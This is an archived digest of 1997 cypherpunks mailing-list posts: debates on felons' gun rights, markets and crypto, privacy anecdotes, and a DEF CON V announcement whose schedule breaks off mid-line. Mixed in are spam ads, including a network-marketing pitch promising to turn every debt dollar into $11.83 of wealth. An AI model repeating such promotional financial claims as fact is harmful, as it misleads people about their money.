From email at exoticwhispers.com Tue Jul 1 09:09:51 1997 From: email at exoticwhispers.com (email at exoticwhispers.com) Date: Tue, 1 Jul 1997 09:09:51 -0700 (PDT) Subject: Legal Adult Content Message-ID: <199707011126.HAA27257@loki.atcon.com> The following message is intended for Adult Webmasters Only. If you feel you have received this message in error, please click "reply" then type REMOVE in the subject line. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Hello Webmasters, Looking for LEGAL STRAIGHT & GAY PICS & VIDEOS ? Porn Emporium has what you are looking for. We offer only the highest quality pics and videos of some of the worlds hottest stars. All content comes with the necessary model releases, all 100% LEGAL! Both exclusive and non-exclusive contracts are available with our pics & videos, each at a very affordable price. If you are looking for something special, send us an email and I'm sure we can find what you are looking for. All of our pics come with a 100% Satisfaction Guarantee and a lifetime license. You can see a sample of our pics at http://www.pornemporium.com .. Can you afford NOT to be legal. **** Special Offer **** UAS Members receive a 10% discount !!! Thank You, Scott Prendergast scottp at tiba.net 214-827-2958 From dformosa at st.nepean.uws.edu.au Tue Jul 1 04:46:26 1997 From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa}) Date: Tue, 1 Jul 1997 19:46:26 +0800 Subject: Dr. Dobbs Cryptography and Security CD-ROM In-Reply-To: Message-ID: [Coderpunks removed as its off topic there.] On Mon, 30 Jun 1997, Bill Frantz wrote: > Date: Mon, 30 Jun 1997 21:57:39 -0700 [...] > At 8:58 AM -0700 7/1/97, Peter Gutmann wrote: > >What makes this case especially awkward is the fact that the CDROM can't > >legally be sold outside the US, which means the only way the rest of the > >world can get it is through illegal copies. IIRC if something is not published in australia within some time perod of it getting published elsewhere interesting things happen to the copy and publishing rights. Please excuse my spelling as I suffer from agraphia see the url in my header. Never trust a country with more peaple then sheep. Buy easter bilbies. Save the ABC Is $0.08 per day too much to pay? ex-net.scum and prouud I'm sorry but I just don't consider 'because its yukky' a convinceing argument From kent at songbird.com Tue Jul 1 04:58:30 1997 From: kent at songbird.com (Kent Crispin) Date: Tue, 1 Jul 1997 19:58:30 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: <19970701044410.04530@bywater.songbird.com> On Mon, Jun 30, 1997 at 06:37:56PM -0700, Lucky Green wrote: > The idea is that the criminal has received their punishment once released > from prison. OTOH, there is no necessity at all to think of it that way. Prison isn't the only punishment -- there is nothing in the Constitution or anywhere else that says that. (Certainly, not being able to own a gun is in no meaningful sense a "cruel or unusual" punishment.) A court that can impose a life sentence can impose a lifetime ban on certain activities -- there is nothing at all inconsistent here. Another fallacy is to think that prison is a temporary phenomenon. "Been to prison" is a permanent state -- it marks you for life. "Convicted Felon" is a permanent legal condition, a title with permanent social effects. You are probaboy thinking that after a person has "paid their debt to society" things are just like they were before. It's a nice theory, but it's false. It's not like money. Your "debt to society" is not paid off by a prison term. > Any further infringements on the person's rights are > unacceptable. That includes the person's Natural Right to acquire > fully-automaticweapons, should he so desire. [BTW, the nature of the crime > committed is irrelevant]. "Let the punishment fit the crime". The crime is *always* relevant to the punishment, the punishment is *always* a function of the crime. It is incoherent and unjust to think otherwise. A punishment can certainly infringe your "Natural Rights" -- you can be executed, after all. -- Kent Crispin "No reason to get excited", kent at songbird.com the thief he kindly spoke... PGP fingerprint: B1 8B 72 ED 55 21 5E 44 61 F4 58 0F 72 10 65 55 http://songbird.com/kent/pgp_key.html From dlv at bwalk.dm.com Tue Jul 1 05:48:50 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 1 Jul 1997 20:48:50 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: <19970701044410.04530@bywater.songbird.com> Message-ID: Kent Crispin writes: > "Convicted Felon" is a permanent legal condition, a title with > permanent social effects. Weren't all felonies capital crimes initially? A hungry little boy convicted of stealing a loaf of bread would hang. Some time later the felons were given a choice of going to the gallows or to Australia. A convicted felon freed after a jail sentence is a fairly recent invention. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at REPLAY.COM Tue Jul 1 06:32:20 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 1 Jul 1997 21:32:20 +0800 Subject: mailing list Message-ID: <199707011318.PAA01313@basement.replay.com> When did it become acceptable to be so stupid??? How many systems-experts do you know who use AOL frequently. OOh...I forgot about that new section, PGP For Dummies...(chuckle) C From tcmarket at toad.com Tue Jul 1 06:36:18 1997 From: tcmarket at toad.com (tcmarket at toad.com) Date: Tue, 1 Jul 1997 21:36:18 +0800 Subject: Turn Your Debts Into Real Wealth!! Message-ID: <19970701131833.ABE1836@Default> Hello,_Morons, TURN EVERY $1 OF YOUR DEBT INTO $11.83 OF REAL WEALTH! This program *** from a two-time Inc 500 company *** is sweeping the country, because it does the one thing every network marketer is working for. It gets them to debt-free (including their mortgage) financial independence in the shortest possible time. Isn't achieving financial independence the reason you became interested in network marketing in the first place? Then why not check out the network marketing program where the product itself can make you financially independent? For a FREE information package call the recorded message at (303) 830-3755 or (800) 211-7097 From declan at well.com Tue Jul 1 07:41:42 1997 From: declan at well.com (Declan McCullagh) Date: Tue, 1 Jul 1997 22:41:42 +0800 Subject: Novell's Eric Schmidt on rating systems Message-ID: ---------- Forwarded message ---------- Date: Tue, 1 Jul 1997 07:27:11 -0700 (PDT) From: Declan McCullagh To: fight-censorship at vorlon.mit.edu Subject: Novell's Eric Schmidt on rating systems So I'm logged in from the library of the National Press Club (my membership dues are finally going for something useful), where I just came from a breakfast meeting with Eric Schmidt, the CEO of Novell. We talked Net-politics, from copyright to crypto to Net-taxes. But I also pressed him on the problems of PICS-based rating systems like RSACi, noting that other governments have started to make them mandatory -- in a voluntary sort of way. "In the U.S., we're going to have all sorts of folks saying we need to have a mandatory rating system for web content.. The industry has pushed very hard for individuals to control things, not governments," he said. What about PICS making it easier for other governments to censor the Net? "We are not the other government's keeper... The beauty of the PICS stuff is that it's a framework for having the debate," he said. Next stop: the White House, where I expect this will come up again this afternon... -Declan From tcmay at got.net Tue Jul 1 08:35:49 1997 From: tcmay at got.net (Tim May) Date: Tue, 1 Jul 1997 23:35:49 +0800 Subject: Free markets and crypto In-Reply-To: <3.0.32.19691231160000.006d0374@best.com> Message-ID: At 7:58 PM -0700 6/30/97, Declan McCullagh wrote: >Ah, but what is a market except voluntary transactions between people? >What is good for the market is good for the people. > I certainly agree with this, if the proper interpretations of terms are made. Unfortunately, there is a growing distinction being made between "voluntary transactions" of _people_ and of _corporations_. (The most stunning example of this, as Declan of course knows, being the "Title 7" stuff in the Civil Rights Act, which takes away a person's right to associtate with persons with whom he wishes to associate--he can't choose to hire only Chinese, or no cripples, or only Mormons, and so on.) And in the crypto debate, the term "market" has mostly been interpreted by people to mean: Netscape, Microsoft, PGP, RSADSI, C2net, Verisign, etc. I don't believe corporations have any more rights--or any more restrictions--than individuals do. So in this sense I agree with Declan's point. But my view is in a minority. Thus, care is warranted when discussing "market solutions." --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From paul at fatmans.demon.co.uk Tue Jul 1 08:53:01 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Tue, 1 Jul 1997 23:53:01 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: > > however, banning ownership of guns for any felony is definitely not at > > all reasonable. > > > > It beats being banned from possessing weapons for living in the U.K. I don`t know: most UK citizen-units are guilty of criminal stupidity, maybe this implies a ban on ownership of guns? ;-)... Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Tue Jul 1 08:59:24 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Tue, 1 Jul 1997 23:59:24 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: > The idea is that the criminal has received their punishment once released > from prison. Any further infringements on the person's rights are > unacceptable. That includes the person's Natural Right to acquire > fully-automatic weapons, should he so desire. [BTW, the nature of the crime > committed is irrelevant]. Not so, I believe Kent pointed out the US statute that describes unreasonable punishment as being "cruel and unusual", banning ownership of firearms as part of the punishment for a violent crime seems perfectly reasonable to me, but foo on that anyway: punishment should fit the crime, if you commit murder or rape or any one of a number of such serious crimes I see no reason why you shouldn`t be punished cruelly. I can see the point of view which accepts serving of sentence as being the end of punishment, and I do not accept a ban on firearms as being implicit in the commision of a felony, but if a court explicitly states that part of the punishment should be a X year or lifetime ban I can accept that. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From geeman at best.com Tue Jul 1 09:14:28 1997 From: geeman at best.com (geeman at best.com) Date: Wed, 2 Jul 1997 00:14:28 +0800 Subject: Marc Andreessen on encryption and CDA Message-ID: <3.0.32.19970701084404.006d101c@best.com> I suppose that's why US displays the greatest income disparity between rich and poor of any of the industrialized nations? Why some 10 or 20 billionaires collectively own more wealth than some 20% of the world's population? Or were you being sarcastic? At 07:58 PM 6/30/97 -0700, Declan McCullagh wrote: >Ah, but what is a market except voluntary transactions between people? >What is good for the market is good for the people. > >-Declan > >On Mon, 30 Jun 1997 geeman at best.com wrote: > >> My biggest problem is when the pundits (and by extension, those that punt >> to them) >> frame this entire debate in terms of the Market. To do so is to argue that >> only solutions >> that are good for The Market are good solutions; that when a particular >> policy is market-agnostic >> or market-negative, even though it may be good policy for People (yes, >> remember them ???) it is irrelevant or >> bad. This debate is NOT about the Worldwide Encryption Market! >> > > > From paul at fatmans.demon.co.uk Tue Jul 1 09:44:36 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 2 Jul 1997 00:44:36 +0800 Subject: Dr. Dobbs Cryptography and Security CD-ROM In-Reply-To: <3.0.2.32.19970630095754.0075943c@popd.ix.netcom.com> Message-ID: > Adam Back, by contrast, said he'd be quite pleased if some US cypherpunk > were to physically mail him a copy of the disk, which he'd pay for. > While that's arguably violating export laws, it's not ripping anyone off. I don`t believe in copyright in general, but I would be perfectly happy to pay a US cpunk to send me a copy of this CD-ROM, *BUT*, physically mailing a copy like this is more risky for the US Cpunk. I don`t believe in ripping people off, and rarely copy copyrighted material, but I don`t hold with copyright laws and see nothing wrong with this being posted. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From declan at well.com Tue Jul 1 09:55:08 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 2 Jul 1997 00:55:08 +0800 Subject: Free markets and crypto In-Reply-To: Message-ID: I of course agree with Tim. Corporations are merely voluntary collections of individuals. As for civil rights laws: in my dark moments, I want to add a button to my web page: "Only click here if you are (or are not) Irish." Or "No African Americans allowed." Or "Nobody over 60 years old permitted." I wonder, would I be in violation of Title 7? -Declan At 08:29 -0700 7/1/97, Tim May wrote: >Unfortunately, there is a growing distinction being made between "voluntary >transactions" of _people_ and of _corporations_. > >(The most stunning example of this, as Declan of course knows, being the >"Title 7" stuff in the Civil Rights Act, which takes away a person's right >to associtate with persons with whom he wishes to associate--he can't >choose to hire only Chinese, or no cripples, or only Mormons, and so on.) > >And in the crypto debate, the term "market" has mostly been interpreted by >people to mean: Netscape, Microsoft, PGP, RSADSI, C2net, Verisign, etc. > >I don't believe corporations have any more rights--or any more >restrictions--than individuals do. So in this sense I agree with Declan's >point. But my view is in a minority. > >Thus, care is warranted when discussing "market solutions." From geeman at best.com Tue Jul 1 09:56:13 1997 From: geeman at best.com (geeman at best.com) Date: Wed, 2 Jul 1997 00:56:13 +0800 Subject: Has your privacy been invaded? Protected? Both? Message-ID: <3.0.32.19691231160000.006ac2d4@best.com> At 08:46 PM 6/30/97 -0400, you wrote: > >We hear a lot of steamy rhetoric about privacy and the information age, but >few real-world examples. I'm working on a story now for Time about just >this: what's happening to individual privacy today. I assmue you will protect the anonymity of any contributors even while sharing your generous payment with them! ;) > >Does the Net make us more exposed -- DejaNews and 411-type databases -- or >does it provide us with more privacy through tools like anonymous remailers >and pseudonymous identities? As a reader of cpunks the following should be obvious: the access to information from 411-etc. is simple and accessible to anyone who can type in a browser! On the other hand, remailers and nym servers are still solely the purview of propeller-heads. The remailer pages I have seen and tried to use are unreliable - and to use PGP remailers requires a level of PGP-ability that the average Joe won't invest in. Most people have Work to do, and cannot invest in the time to figure out how to use software. If we want to see pervasive use of privacy-preserving technologies then developers must realize this and develop for the Mass Market. PGP 5, PGPMail are certainly helpful and not enough. What I am concerned about is that in the absence of easy-to-use (that means no-effort-to-use) privacy software, the average Joe will rely on whatever is there for him: and in the limit this will mean whatever infrastructure the Powers-that-be want put in place for him, and not one that preserves his rights. (Forgive the gender bias: I'll switch now) There is no level of privacy afforded the average 'user' as simple to use as the intrusve technologies that are available to the snoop. >Can we trust the government to protect our >privacy when it works tirelessly to invade it? > Sometimes it is better to trust Government than it is to trust Big Business, although too often they converge onto identical tracks becuase of the ownership of Gov't *by* Big Business. I see two equally onerous invasions: One is the insistence of Government that the benefit of crypto to the Four Horsewomen of the Infocalypse (Porn, Drug Dealing, Money Laundering, and Terrorism), and the corresponding threat to society, is so large as to warrant registering everyone's secret-telling capability. The other is the intrusion by Business and Employers into the habits of consumers and workers. From click-tracking on the Web to the recently reported monitoring of every 7-11 manager's move at the POS terminal, Business is no friend of the People. That this is perhaps the more insidious threat is manifest by your not even mentioning it or including it in the question set. I fear Businesses who say "Government leave us alone because the Free Market knows what's best" and then proceed to invade and intrude in ways that are equally damaging to the privacy of the individual. The philosophy that if Business invades privacy it's OK, and if Government does so it's bad, is to say that 2+2=5. >Much has been written about this. What I'm looking for now are examples. >Have you used an anonymous remailer to cloak your identity, or been flamed >through one? Have you been denied a transaction at a store because you >refused to identify yourself? Have you hunted through databases to find >someone important? Has sensitive information about you turned up in one? > I have been fairly careful and very jealous of my privacy; and then my name and home address showed up on one of the name-search pages. I don't know if it's still there, and I don't remember the link. But then the Similac marketing Geniuses sent me something in the mail that even included the due date of my expected child! I consider that sensitive as hell, and it didn't occur via the Web. The problem is across the board. I use anonymizing tools when I need to, to protect what I consider "things" that are too sensitive for the Web. I have looked up past friends on the Web, and then not called because I felt it would be an intrusion into their life. I have found the ability to search for information on PUBLIC figures important and useful, looking for items related to their professional activities, and I think this is an important capability. The opportunity for People to make sure that the elected officials they elect and pay for, and the businesses that pave their towns and dump toxics into their yards, are behaving responsibly, is one of the few remaining possibilities for positive change. In the meantime, I'm wondering, as I wander off to renew my driver's license, why they want my social security number. And I still don't know how Similac figured out when my wife and I had sex. (C) Copyright 1997 by ..... oops! I don't want to include my name. >I'd appreciate hearing some stories... > >Thanks all, > >Declan > > >------------------------- >Declan McCullagh >Time Inc. >The Netly News Network >Washington Correspondent >http://netlynews.com/ > > > > -----BEGIN PGP SIGNED MESSAGE----- At 08:46 PM 6/30/97 -0400, you wrote: > >We hear a lot of steamy rhetoric about privacy and the information age, but >few real-world examples. I'm working on a story now for Time about just >this: what's happening to individual privacy today. I assmue you will protect the anonymity of any contributors even while sharing your generous payment with them! ;) > >Does the Net make us more exposed -- DejaNews and 411-type databases -- or >does it provide us with more privacy through tools like anonymous remailers >and pseudonymous identities? As a reader of cpunks the following should be obvious: the access to information from 411-etc. is simple and accessible to anyone who can type in a browser! On the other hand, remailers and nym servers are still solely the purview of propeller-heads. The remailer pages I have seen and tried to use are unreliable - and to use PGP remailers requires a level of PGP-ability that the average Joe won't invest in. Most people have Work to do, and cannot invest in the time to figure out how to use software. If we want to see pervasive use of privacy-preserving technologies then developers must realize this and develop for the Mass Market. PGP 5, PGPMail are certainly helpful and not enough. What I am concerned about is that in the absence of easy-to-use (that means no-effort-to-use) privacy software, the average Joe will rely on whatever is there for him: and in the limit this will mean whatever infrastructure the Powers-that-be want put in place for him, and not one that preserves his rights. (Forgive the gender bias: I'll switch now) There is no level of privacy afforded the average 'user' as simple to use as the intrusve technologies that are available to the snoop. >Can we trust the government to protect our >privacy when it works tirelessly to invade it? > Sometimes it is better to trust Government than it is to trust Big Business, although too often they converge onto identical tracks becuase of the ownership of Gov't *by* Big Business. I see two equally onerous invasions: One is the insistence of Government that the benefit of crypto to the Four Horsewomen of the Infocalypse (Porn, Drug Dealing, Money Laundering, and Terrorism), and the corresponding threat to society, is so large as to warrant registering everyone's secret-telling capability. The other is the intrusion by Business and Employers into the habits of consumers and workers. From click-tracking on the Web to the recently reported monitoring of every 7-11 manager's move at the POS terminal, Business is no friend of the People. That this is perhaps the more insidious threat is manifest by your not even mentioning it or including it in the question set. I fear Businesses who say "Government leave us alone because the Free Market knows what's best" and then proceed to invade and intrude in ways that are equally damaging to the privacy of the individual. The philosophy that if Business invades privacy it's OK, and if Government does so it's bad, is to say that 2+2=5. >Much has been written about this. What I'm looking for now are examples. >Have you used an anonymous remailer to cloak your identity, or been flamed >through one? Have you been denied a transaction at a store because you >refused to identify yourself? Have you hunted through databases to find >someone important? Has sensitive information about you turned up in one? > I have been fairly careful and very jealous of my privacy; and then my name and home address showed up on one of the name-search pages. I don't know if it's still there, and I don't remember the link. But then the Similac marketing Geniuses sent me something in the mail that even included the due date of my expected child! I consider that sensitive as hell, and it didn't occur via the Web. The problem is across the board. I use anonymizing tools when I need to, to protect what I consider "things" that are too sensitive for the Web. I have looked up past friends on the Web, and then not called because I felt it would be an intrusion into their life. I have found the ability to search for information on PUBLIC figures important and useful, looking for items related to their professional activities, and I think this is an important capability. The opportunity for People to make sure that the elected officials they elect and pay for, and the businesses that pave their towns and dump toxics into their yards, are behaving responsibly, is one of the few remaining possibilities for positive change. In the meantime, I'm wondering, as I wander off to renew my driver's license, why they want my social security number. And I still don't know how Similac figured out when my wife and I had sex. (C) Copyright 1997 by ..... oops! I don't want to include my name. >I'd appreciate hearing some stories... > >Thanks all, > >Declan > > >------------------------- >Declan McCullagh >Time Inc. >The Netly News Network >Washington Correspondent >http://netlynews.com/ > > > > -----BEGIN PGP SIGNATURE----- Version: 4.5 iQEVAwUBM7k0MjdEnrLKVNqJAQFijwf+M6Qq28YiBmfmxaMePf9QvZdSkHB2e51b 0XWX9n7CAcZVrK4YzcKfeII6Z4Z25BEK0Ddb0DdYJJWcWRKxe4pcYtr9Bb9/zMDf ii9PMquE7S/UXZGWqUgHsKx4BENwFYA9s4UF7ZWLLaD/A5ekL7kIAVFrd/52YFWO iycsGU3sdFw7xbzjCHHYUPwz51S6ger7c4YzNtlMVRKL4j0IiSLbWQ977Udp0vCj 4twqTu0l56GvkYMaybq3CHtU72bBY/6ckrqO8nmcMpZW1W2E5fKLhWsRLk2hepq1 wl7jTcU3HGvZH6ccgAfl8UtUxsyBTXL4S90dc0EsVE8XJBirTSNkUQ== =QJUu -----END PGP SIGNATURE----- From tcmay at got.net Tue Jul 1 09:56:51 1997 From: tcmay at got.net (Tim May) Date: Wed, 2 Jul 1997 00:56:51 +0800 Subject: NRA and National Online Records Check bullshit In-Reply-To: Message-ID: At 7:46 AM -0700 7/1/97, Paul Bradley wrote: ... >Not so, I believe Kent pointed out the US statute that describes >unreasonable punishment as being "cruel and unusual", banning ownership >of firearms as part of the punishment for a violent crime seems perfectly >reasonable to me, but foo on that anyway: punishment should fit the >crime, if you commit murder or rape or any one of a number of such >serious crimes I see no reason why you shouldn`t be punished cruelly. The apparent meaning of "cruel and unusual" had to do with things like torture, death by starvation, death by immersion in hot oil, and other such things which some regimes had practiced. The "design goal" of all U.S. capital punishment methods is generally "quick and painless." - Hanging--very quick and very painless (the neck is snapped, and consciousness vanishes) - Firing squad--no further explanation needed (assuming multiple rounds hit the target) - Electrocution--originally designed to render subject unconscious almost immediately. Whether it does this merits discussion, but the original intent was surely for a "scientific" fast death (just as the guillotine was similarly designed) - Gas chamber--cyanide produces rapid unconsciousness - Lethal injection--the "new" scientific method. Obviously painless. >I can see the point of view which accepts serving of sentence as being >the end of punishment, and I do not accept a ban on firearms as being >implicit in the commision of a felony, but if a court explicitly states >that part of the punishment should be a X year or lifetime ban I can >accept that. Does this mean that you would "accept" a wording which took away a released convict's ability to speak freely, or to practice the religion of his choice? ("Upon completion of your 6-month sentence for public blasphemy, you must renounce Baalism and accept the religion so ordered by the court.") Why is this any different from taking away Second Amendment rights? There is sometimes a loophole for taking away some particular right, or interfering with it in a special way, a la the language of "compelling needs." This is how the courts look at the putative conflict of rights, as in things like "the state has a compelling need to protect minors from these materials." Then there's the related language of "overbroad." But how does a lifetime, blanket ban on possession of firearms--i.e., a complete denial of Second Amendment rights--for any of tens of thousands of claimed "felonies" fit with this "compelling need" model? What's the compelling need for the state to deny Second Amendment rights for life to someone convicted of fraud or money laundering? The compelling need appears to be related to the general trend of disarming as many of the marks as possible, as soon as possible. (I understand, Paul, that you are not a U.S. citizen, but this is the framework for the current discussion.) --Tim May There's something wrong when I'm a felon under an increasing number of laws. Only one response to the key grabbers is warranted: "Death to Tyrants!" ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From declan at well.com Tue Jul 1 10:33:31 1997 From: declan at well.com (Declan McCullagh) Date: Wed, 2 Jul 1997 01:33:31 +0800 Subject: DEF CON V Convention Announcement #1.19 (06.30.97) Message-ID: [I'm planning to show up Friday morning. Anyone else going? --Declan] ******* READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB DEF CON V Convention Announcement #1.19 (06.30.97) July 11-13th @ the Aladdin Hotel and Casino in Las Vegas XXXXXXXXXXXXXXXXXXXXXXXX XX DEF CON V Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX XX DEF CON V Convention Announcement XXXXXXxxxxxxXXXXXX X X DEF CON V Convention Announcement XXXXXxxxxxxxxXXXXXXX X DEF CON V Convention Announcement XXXXxxxxxxxxxxXXXX XXXXXXXXX DEF CON V Convention Announcement XXXxxxxxxxxxxxxXXXXXXXXXX X DEF CON V Convention Announcement XXxxxxxxxxxxxxxxXXXXXX XX X DEF CON V Convention Announcement XXXxxxxxxxxxxxxXXXXXXXX DEF CON V Convention Announcement XXXXxxxxxxxxxxXXXXXXXX X XX DEF CON V Convention Announcement XXXXXxxxxxxxxXXXXXXXXXX XX X DEF CON V Convention Announcement XXXXXXxxxxxxXXXXXXXXX X DEF CON V Convention Announcement XXXXXXXxxxxXXXXXXXXXXXXXXX DEF CON V Convention Announcement XXXXXXXXXXXXXXXXXXXXXXXXXXXX X DEF CON V Convention Announcement READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIBUTE & READ & DISTRIB The only convention with free beer! IN SHORT:-------------------------------------------------------------------- WHAT: Speakers and partying in Vegas for all hackers WHEN: July 11th - 13th WHERE: Las Vegas, Nevada @ the Aladdin Hotel and Casino COSTS: $30 in advance, $40 at the door MORE INFO: http://www.defcon.org or email info at defcon.org IN LONG:--------------------------------------------------------------------- It's time to brave Las Vegas again for DEF CON! This is an initial announcement and invitation to DEF CON V, a convention for the "underground" elements of the computer culture. We try to target the (Fill in your favorite word here): Hackers, Phreaks, Hammies, Virii Coders, Programmers, Crackers, Cyberpunk Wannabees, Civil Liberties Groups, CypherPunks, Futurists, Artists, Criminally Insane, Hearing Impaired. It seems that books about the culture are becoming more popular, so of course reporters are also welcome. You won't be hurt. I promise. Just bring cash for drinks. So you heard about DEF CON IV, and want to hit part V? You heard about the parties, the info discussed, the bizarre atmosphere of Las Vegas and want to check it out in person? You want to do weird shit _away_ from the hotel where you can't get me in trouble? You have intimate knowledge of the SWIFT network, and want to transfer millions of dollars to the Def Con account? Then you're just the person to attend! What DEF CON is known for is the open discussion of all ideas, the free environment to make new contacts and the lack of ego. More people have made great friends at DEF CON over the years than my brain can conceive of. DEF CON is also known for letting the "Suits" (Government / Corporate) mix with everyone and get an idea of what the scene is all about. The media makes an appearance every year and we try to educate them as to what is really going on. Basically it has turned into the place to be if you are at all interested in the computer underground. [Note]----------------------------------------------------------------------- Now last year over 800 people showed up and threw my whole program for a loop. I was thinking 500+ people, but when 800 showed up it got a little crazy for the planning staff. This year I am planning for 1,000. This way I will be able to accommodate everyone and have less logistical screw- ups. I would also like to apologize to everyone last year who had temporary badges for half the convention, etc. I will do all that is possible for maximum coolness, and minimum hassles. Anyway, enough of my shit, on with the details. [End Note]------------------------------------------------------------------- SPEAKERS:-------------------------------------------------------------------- Over the years DEF CON has had many notable speakers. This year there will be more of an emphasis on technical talks. There will be a separate smaller room for break-out sessions of more specific topics. While the talks of the past have been great, it always seems some tech people drop out and general talks fill in. I will load it tech heavy so when people do drop out there will still be plenty of meat left for the propeller heads. There will be some speaking on Friday evening before Hacker Jeopardy, all day Saturday and Sunday. About 20 people will speak, plus smaller tech sessions. If you are interested in speaking or demonstrating something please contact me. Current speakers include: [> Nhil - Windows NT (in)security. The challenge response system, NT 5.0 Kerb security services, man in the middle attacks on domain controllers. This will be a more technical discussion of NT related security. [> Koresh - Hacking Novell Netware. [> Yobie - Emerging infrastructures made possible by Java. He will describe and talk about Java as the foundation for a global, object-oriented distributed network. New concepts and computing paradigms will discussed as well as applications for both applications development or straight-out hacking. [> Mudge - System Administrator for L0pht Heavy Industries. He will present a technical talk on something cool. [> Clovis - From the Hacker Jeopardy winning team. He will discuss issues with security and networked object systems, looking at some of the recent security issues found with activeX and detail some of the potentials and problems with network objects. Topics will include development of objects, distributed objects, standards, ActiveX, corba, and hacking objects. [> Bruce Schneier - Author of Applied Cryptography and the Blowfish algorithm - Why cryptography is harder than it looks. [> FBI Computer Crime Squad - They will make another appearance this year only if I can bribe them with the audio from last years convention. Can I do it in time? [> Richard Thieme - "The Dynamics of Social Engineering: a cognitive map for getting what you need to know, working in networks, and engaging in espionage quietly; the uses of paranoia, imagination, and grandiosity to build the Big Picture. [> Wrangler - Packet Sniffing: He will define the idea, explain everything from 802.2 frames down to the TCP datagram, and explain the mechanisms (NIT, bpf) that different platforms provide to allow the hack. Wrangler has been programming since seven column paper tape. He is a loner with the social skills of a California Condor. He has never been a member of LOD, MOD, or any other group. He has written no books, is not currently employed, and refuses to discuss what he refers to as "that credit card provider thing back when I used to do mainframe shit." His current projects include looking for his next Fortune 100 contract and writing the DEFCON V virus. [> Seven - What the feds think of us. [> Richard K. - Electronic countermeasures, counter espionage, risk management. Should include a demonstration of electronic countermeasures equipment as well as a talk on what works, what doesn't, and the industry. [> Tom Farley the Publisher of the "Private Line" journal, and Ken Kumasawa of TeleDesign Management - Toll Fraud in the 90s: Two perspectives. An overview of phreaking from a hackers point of view and an industry/security consultants point. [> Michael Quattrocchi - The future of digital cash and a presentation about the modernization and state of register-level debit cards; in effect currently throughout Canada. [> The Deth Vegetable - "The Cult of the Dead Cow embarks on a new era of Global Domination for the 21st Century three years early -- if you're not at Defcon this year, you won't be down with the master plan. Important announcements and startling new developments that will affect the entire history of the Computer Underground as you know it." [> Ira Winkler - Real life case studies of successful and unsuccessful corporate espionage. [> Sameer Parekh - c2.net - Why cryptography is harder than it looks, part two. A look at implementation and production problems facing people and companies wishing to develope and distribute strong encryption. [> Carolyn P. Meinel - Moderator of the Happy Hacker Digest and mailing lists. She will preside over a seperate Happy Hacker discussion pannel that will cover the topics of wether or not "newbies" should have information handed to them, or should they learn for themselves? [> Dan Veeneman - Low Earth Orbit satellites are nearing the launch stage, and this talk will cover the different systems that are planned and some of the services they'll offer. A bit on GPS that wasn't covered last year as well as the ever popular question and answer section. [> Hobbit - CIFS is a load of CACA - Random SMB CIFS stuff in Microsfot products. [> Cyber - An overview and explanation of available crypto-tools. What tools and programs do what, when to use them and on what platforms. From someone who has spent lots of time playing around with the currently available set of applications. [> Keith - Has some experience writing firmware for embedded microcontroller applications, and is giving a technical talk on applications of microcontrollers in the h/p community. [> James Jorasch - Hacking Vegas - How to games the gamers. From someone who used to deal with hotel casino security. What really goes on? SCHEDULE:-------------------------------------------------------------------- FRIDAY: Network Setup, Sign in, Informal PGP Keysigning at the "PGP table", Lots of Partying. Capture the Flag Contest Starts at 16:00 On Friday there will be the demonstrations of the Radio Burst Cannon, a "real" rail gun, and an omni-directional cell phone jammer. Times to be announced. 10:00 - Doors open, sign in starts 10:00 - Movies start in main conference room 16:00 - Capture the Flag II starts 15:30 - Round up and head off for demonstrations of HERF, and rail gun madness. Nothing may happen, then again.. 23:30 - 23:00 James Jorasch - "Hacking Vegas" how to beat the system in Vegas by someone who knows it inside and out. 23:00 - 03:00 Hacker Jeopardy Starts. SATURDAY: 10:00 - 10:50 Richard Thieme - The Dynamics of Social Engineering. 11:00 - 11:50 Yobie - Emerging infrastructures made possible by Java. 12:00 - 12:50 Clovis - issues with security and networked object systems. 13:00 - 13:50 FBI Computer Crime Squad - 14:00 - 14:50 Deth Veggie - Global Domination, cDc style. 15:00 - 15:50 Seven - What the feds think of us. 16:00 - 16:50 Richard K. - 17:00 - 17:50 Tom 